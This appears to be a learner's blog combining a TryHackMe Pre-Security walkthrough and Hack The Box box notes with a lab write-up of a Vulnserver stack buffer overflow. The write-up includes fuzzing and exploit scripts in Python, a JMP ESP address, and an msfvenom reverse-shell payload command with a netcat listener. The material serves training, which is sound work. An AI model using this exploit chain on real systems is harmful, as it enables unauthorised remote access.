The world of Cybersecurity is large and can be overwhelming leaving you unsure of where to start. If you are interested in Cybersecurity and want to learn, TryHackMe has created a perfect jumping off point. The Pre-Security path provides a fantastic overview of the foundational components of IT, Networking, The Web, Linux, and Windows. Follow along with me as we work through the rooms, answer questions, and have some fun along the way!

First create a free account at TryHackMe and then navigate over to the Learn tab. Once there you will see several different learning paths, each with something different to offer. Like our title says lets go to the Pre-Security Path here.

Here you can see the different categories that are covered in the path. You can also track your progress towards a printable certificate, and even earn some badges along the way!

Lets get started!

Here we have an overview of our first room. Take some time to get acquainted with the interface, it will remain the same throughout all rooms!

1. Here you can start your attack box (Don’t worry about that for now), get some help (maybe even find this write-up here), and set your options.
2. This is your progress tracker bar.
3. Here your tasks will be listed out, pay close attention and follow any links that are provided.
4. This will launch our BookFace inside of the same browser.
5. Submit your answers by clicking the button when done.
6. If you ever get stuck there is no shame in clicking the Hint box, its actually encouraged!
7. Get started on your first challenge by reading the instructions and clicking next.

Next up we have an overview of networking!

Start From the top and lets work our way down

Make sure to read all of the information and take notes! If you ever get stuck there is a great official THM Discord where people are always around to help. Be on the lookout for that little green box (1), it means that you can interact with something in that section! What do you think would happen if we took a pair of scissors to #2?

On to the OSI model!

Here is some super critical information you can take with you wherever your IT career may go. Understanding the OSI model will help you understand how most things in this field work and can even help you troubleshoot problems. REMEMBER: Please Dont Throw Sausage Pizza Away! OR play the OSI dungeon game here and see how fast you can get!

Next up, Packets and Frames! This is going to dive deeper into Layers 2 and 3 so we can see how that information is traveling. Remember Layer 2 is for ports and Layer 3 is for IP addresses!

Here we are getting into some nitty gritty networking rules! If you get stuck just think, what is my source? Is it legit or a hacker? What is my destination? Do I want to allow or Deny a hackers IP?

NICE JOB! If you made it this far you have finished the Networking portion. Take a break, get some coffee or ice cream. When you are rested get ready because its time to tackle some WEB.

I am not going to go into much detail here because it follows the same formula as our networking portion. I recommend to read at your own pace, take notes, and do your best to really understand the information here.

All set with the web? Time to kick it up a notch. Linux can be intimidating for new users but following the labs will boost your confidence if you find yourself in a terminal.

A new concept that is introduced here is SSH and OpenVPN. The first machine you will access in your browser however I find it much faster if I can hop on THM’s network and SSH in (if the box lets me). The best way to do this is to download your openvpn file from THM and connect to their network.

Once I download the .ovpn file I create some directories. My recommendation to help you keep track is to create a TryHackMe directory with the mkdir command you just learned. Then cd TryHackMe and create a directory for each room you do!

This is all assuming you have Linux running as your host, or you are on a Virtual Machine like me. VM-Ware and Virtual Box are two great resources that allow you to run any Operating System you can find. That is a little out of the scope for this lab, however by the end of this you should have learned the things you need to make this happen!

Okay with that out of the way lets connect to the machine! Start the machine and be sure to give it at least 5 minutes to warm up.

SSH is an important protocol to understand as it is one of the most secure ways you can remotely connect to a network. It also happens to be the coolest and blows my mind anytime I use it.

You made it! Take another break and get ready for some Windows!

I found these rooms to be a little challenging. I am not sure if I was just misunderstanding the question that was being asked or if it was meant to be not obvious.

The second portion is really fun and has you looking into how the programs are really executed. If you get stuck remember Google is your friend!

WOOOHOOO! You made it nice job! Remember to print out your cert and show your fiends, family, neighbor, dog and cat! But seriously if you made it this far I recommend you continue onto the beginner path. There is so much to learn but having this foundation will help in immeasurable amounts!

Nibbles is a nice step up in complexity from the boxes that I have previously done. It teaches some cool exploitation and enumeration techniques. As usual start with an nmap scan.

Lets do some Googling and see if we can find something… The “hard” part is guessing the password. I made a pretty simple list with crunch by using the first page and the username admin.

https://www.rapid7.com/db/modules/exploit/multi/http/nibbleblog_file_upload/

Here I went out and looked for some files that I could use to enumerate. I then just copied the scripts and renamed them to monitor.sh

Jerry is pretty easy but provides a great example as to the dangers of default credentials

Start with an nmap scan.

Devel is a very fun box that gets into reverse shells and default web pages. Start with an nmap scan.

Blue explores the infamous Eternal Blue exploit that was created by the NSA and released by the Shadow Brokers.

Lame is a fun box which has the nice caveat of a “Red Herring” or rabbit hole. Just because you find a vulnerable version, does not mean it is easily exploitable. Start by scanning the host with nmap.

Looked into vsftpd exploits and found one in metasploit

Legacy is designed to show the flaws in SMB. We will use the tools nmap, metasploit, enum4linux, and some good old fashioned research to root this box. Start with an nmap scan and see if you can enumerate users. Then run enum4linux against the target. Note the host system, group name, computer name. There is a ton of information that we can research. Look into MS08-067, and load the module into metasploit. Once we run that we should have access to the machine. From there we can dump the credentials and enumerate good internal information. You will find the flags inside of the user and admin desktops.

nmap -A -p- 10.10.10.4

https://null-byte.wonderhowto.com/how-to/enumerate-smb-with-enum4linux-smbclient-0198049/

└──╼ $sudo nmap -sU -sS –script smb-enum-users.nse -p U:137,T:139 10.10.10.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-10 23:42 EDT
Nmap scan report for 10.10.10.4
Host is up (0.037s latency).

PORT STATE SERVICE
139/tcp open netbios-ssn
137/udp open|filtered netbios-ns

Nmap done: 1 IP address (1 host up) scanned in 1.57 seconds

┌─[raven@raven]─[~/HTB/Legacy]
└──╼ $enum4linux -a 10.10.10.4
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Jun 10 23:39:28 2021
==========================
| Target Information |
==========================
Target ……….. 10.10.10.4
RID Range …….. 500-550,1000-1050
Username ……… ”
Password ……… ”
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
993442d258b0e0ec917cae9e695d5713
==================================================
| Enumerating Workgroup/Domain on 10.10.10.4 |
==================================================
[+] Got domain/workgroup name: HTB

==========================================
| Nbtstat Information for 10.10.10.4 |
==========================================
Looking up status of 10.10.10.4
LEGACY <00> – B <ACTIVE> Workstation Service
HTB <00> – <GROUP> B <ACTIVE> Domain/Workgroup Name
LEGACY <20> – B <ACTIVE> File Server Service
HTB <1e> – <GROUP> B <ACTIVE> Browser Service Elections
HTB <1d> – B <ACTIVE> Master Browser
..__MSBROWSE__. <01> – <GROUP> B <ACTIVE> Master Browser

MAC Address = 00-50-56-B9-F6-EC

===================================
| Session Check on 10.10.10.4 |
===================================
[+] Server 10.10.10.4 allows sessions using username ”, password ”

====================================
| OS information on 10.10.10.4 |
====================================
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.10.10.4 from smbclient:
[+] Got OS info for 10.10.10.4 from srvinfo:
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

enum4linux complete on Thu Jun 10 23:39:34 2021

Possible Vulns

CVE-2008-4037

Microsoft Windows 2000 Gold through SP4, XP Gold through SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, and Server 2008 allows remote SMB servers to execute arbitrary code on a client machine by replaying the NTLM credentials of a client user, as demonstrated by backrush, aka “SMB Credential Reflection Vulnerability.” NOTE: some reliable sources report that this vulnerability exists because of an insufficient fix for CVE-2000-0834.

MS08-067 Microsoft Server Service Relative Path Stack Corruption

Objective: Perform Buffer Overflow Attack to Gain Access to a Remote System

Machines Used:

• Parrot OS
• Windows 10

Applications/Tools Used:

• Vulnserver
• Immunity Debugger
• Net Cat
• generic_send_tcp
• Pluma (text editor)
• Python Scripts
• Metasploit
• Ruby 

Function: 

Commands and Options:

1. Launch Vulserver 
   1. As Admin on the Windows machine
2. Launch Immunity Debugger 
   1. As Admin on the Windows machine
   2. File > Attach > Vulnserver
      1. This needs to be done anytime the connection is lost.
   3. Run program (Play icon)
3. Switch to Parrot OS and start a netcat listener
   1. nc -nv <IP> <Port>

1. The default port for vulnserver is 9999

2. HELP will give a list of commands
3. Once the connection is verified EXIT

4. Open up a text editor
   1. Paste in commands
      1. s_readline();
      2. s_string(“STATS ”);
      3. s_string_variable(“0”);
   2. Save as stats.spk
5. Send the package to Vulnserver
   1. generic_send_tcp <IP> 9999 stats.spk 0 0

6. Switch back to Immunity Debugger
   1. Note if the server is vulnerable to the STATS function
      1. It will freeze and the right screen will populate
   2. In this situation the server is NOT vulnerable.
7. Switch to Parrot and launch a text editor again
   1. This time name it trun.spk
   2. Paste in the text 
      1. s_readline();
      2. s_string(“TRUN ”);
      3. s_string_variable(“0”);
   3. Save
8. Send the package to Vulnserver
   1. generic_send_tcp 10.10.10.10 9999 trun.spk 0 0
9. Switch back to Immunity Debugger
   1. Monitor the overwrite on the stack registers (ESP)

2. This shows that there is a vulnerability in trunking 
   1. Restart Vulnserver and ID and re-attach
3. Use python to fuzz the server to find where the memory overwrite crashes the server. 
   1. 
      
   2. Save the script as fuzz.py
   3. Run the script and see if it crashes the vulnserver. 
      1. Verify on Immunity Debugger
      2. Restart Vulnserver and ID and re-attach
      3. Note exactly where it crashes on Parrot

11. Use metasploit to create a payload pattern in Ruby using the information gathered from the fuzzing. 
    1. /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 13600
       1. Copy the output and append it to an offset python script.
12. Create a Python script called findoff.py

2. Execute the findoff.py script
3. Switch back to ID and inspect the EIP
   1. Note the number of bytes
      1. Restart Vulnserver and ID and re-attach

14. Use a metasploit Ruby script to generate the exact offset match. 
    1. /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 20000 -q 386F4337
       1. -l  is the even number overwrite byte size from fuzz.py
       2. -q is the offset value we just learned (from EIP register)
       3. Note the exact match. 

15. Create an overwrite script in Python to see if you can control the EIP register. 

1. Name the script overwrite.py and run it
2. Hop over to ID and inspect the EIP

1. This verifies we can write to memory. 
2. Restart Vulnserver and ID and re-attach
3. Identify if any bad characters are can cause issues in the shellcode
   1. Create a python script badchars.py

2. Run the script badcahrs.py
3. Go to ID and inspect the ESP register

4. Follow the dump and inspect the Hex string

1. Here you are looking for anything that looks weird or out of order. 
2. All is good
3. Restart Vulnserver and ID and re-attach
4. Use mona.py to identify the modules that lack protection
   1. Get the script from https://github.com/corelan/mona.git
      1. Copy the script to the ID PyCommands folder
   2. In Immunity Debugger at the bottom of the window run the script
      1. !mona modules
   3. Observe memory protections
      1. Note False, False, False, False in essfunc.dll

18. Use metasploit to exploit the essfunc.dll
    1. /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
       1. Converts the assembly to hex
    2. Jump to the ESP register
       1. JMP ESP
       2. Note the output
       3. EXIT
19. Use mona to find the vulnerable memory location
    1. Enter this command into the Immunity Debugger.
       1. !mona find -s “\xff\xe4” -m essfunc.dll
       2. Note the address of the vulnerable module

2. That address here is 0x625011af
   1. Restart Vulnserver and ID and re-attach
3. Use a jump script to verify the overwrite of the EIP register
   1. Name the script jump.py

2. Run the script
3. Note in ID the value of the EIP Register

4. Restart Vulnserver and ID and re-attach
5. Use msfvenom to create a badcarachter string
   1. msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<Port> EXITFUNC=thread -f c -a x86 -b “\x00”
   2. Create a shellcode.py script
   3. Paste in the result of the shellcode

22. In another terminal setup a netcat listener
    1. nc -lvnp 4444
23. Switch back to the other terminal and execute the Python script. 
    1. ./shellcode.py
24. Switch to the netcat terminal and observe the prompt, you should see a Windows prompt. 
    1. Enter commands to verify access
       1. whoami
       2. Pwd
25. Congratulations, you have successfully performed the buffer overflow attack. 

Results: This was one of the best labs so far. The result is successfully exploiting a memory flaw and using it to gain remote access to the victim. 

Precautions: This could really damage a system if done improperly, ensure it is done in a testing environment. 

Countermeasures/Mitigation: This relies heavily on the programming of an application. Use a language that does not allow access to the memory. Use secure coding practices. 

Personal Reflection: This was a time consuming but really enjoyable experience. I was able to find a tutorial series by The Cyber Mentor on YouTube. Watching that really enhanced my understanding of how this kind of attack works. Going over it by writing this lab also helped. The lab itself really did not provide enough detail on what you were doing. It did not explain the memory locations at all. Writing out the scripts in Python also helped my understanding of what was going on, rather than just copying and pasting like the lab had you do. It was pretty intense and really deserves its own section, rather than being baked into other attacks. 

Raw Code:

./fuzzing.py

#! /usr/bin/python

import sys, socket

from time import sleep

buffer = “a” * 100

while true:

    try:

           s=socket.socket (socket.AF_INET ,socket.SOCK_STREAM)

           s.connect((‘10.10.10.16’ ,9999))     //change this

 s.send ((‘TRUN /.:/’ + buffer))

           s.close()

           sleep(1)

           buffer = buffer + “A”*100

    except:

           print “Fuzzing crashed a %s bytes” % str(len(buffer))

           sys.exit()

./findoff.py

#! /usr/bin/python

import sys, socket

offset = “” // Paste result here

try:

       s=socket.socket (socket.AF_INET ,socket.SOCK_STREAM)

        s.connect((‘10.10.10.16’ ,9999))     //change this

        s.send ((‘TRUN /.:/’ + offset))

        s.close()

except:

       print “Error connecting to server”

       sys.exit()

./overwrite.py

#! /usr/bin/python

import sys, socket

shellcode = “C” * //Whatever Overwrite Value// + “D” * 4

try:

       s=socket.socket (socket.AF_INET ,socket.SOCK_STREAM)

        s.connect((‘10.10.10.16’ ,9999))     //change this

        s.send ((‘TRUN /.:/’ + shellcode))

        s.close()

except:

       print “Error connecting to server”

       sys.exit()

./badchars.py

#! /usr/bin/python

import sys, socket

badchars = (

  “\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10”

  “\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20”

  “\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30”

  “\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40”

  “\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50”

  “\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60”

  “\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70”

  “\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80”

  “\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90”

  “\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0”

  “\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0”

  “\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0”

  “\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0”

  “\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0”

  “\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0”

  )

shellcode = “C” * 2003 + “D” * 4 + badchars

try:

       s=socket.socket (socket.AF_INET ,socket.SOCK_STREAM)

        s.connect((‘10.10.10.16’ ,9999))     //change this

        s.send ((‘TRUN /.:/’ + shellcode))

        s.close()

except:

       print “Error connecting to server”

       sys.exit()

jump.py 

#! /usr/bin/python

import sys, socket

shellcode = “C” * 2003 + “\xaf\x11\x50\x62”

try:

       s=socket.socket (socket.AF_INET ,socket.SOCK_STREAM)

        s.connect((‘10.10.10.16’ ,9999))     //change this

        s.send ((‘TRUN /.:/’ + shellcode))

        s.close()

except:

       print “Error connecting to server”

       sys.exit()

Works Cited (MLA):

EC-Council. Certified Ethical Hacker (CEH) Version 11 eBook w/ iLabs (Volumes 1 through 4). 

International Council of E-Commerce Consultants (EC Council), 2020. [VitalSource 

Bookshelf].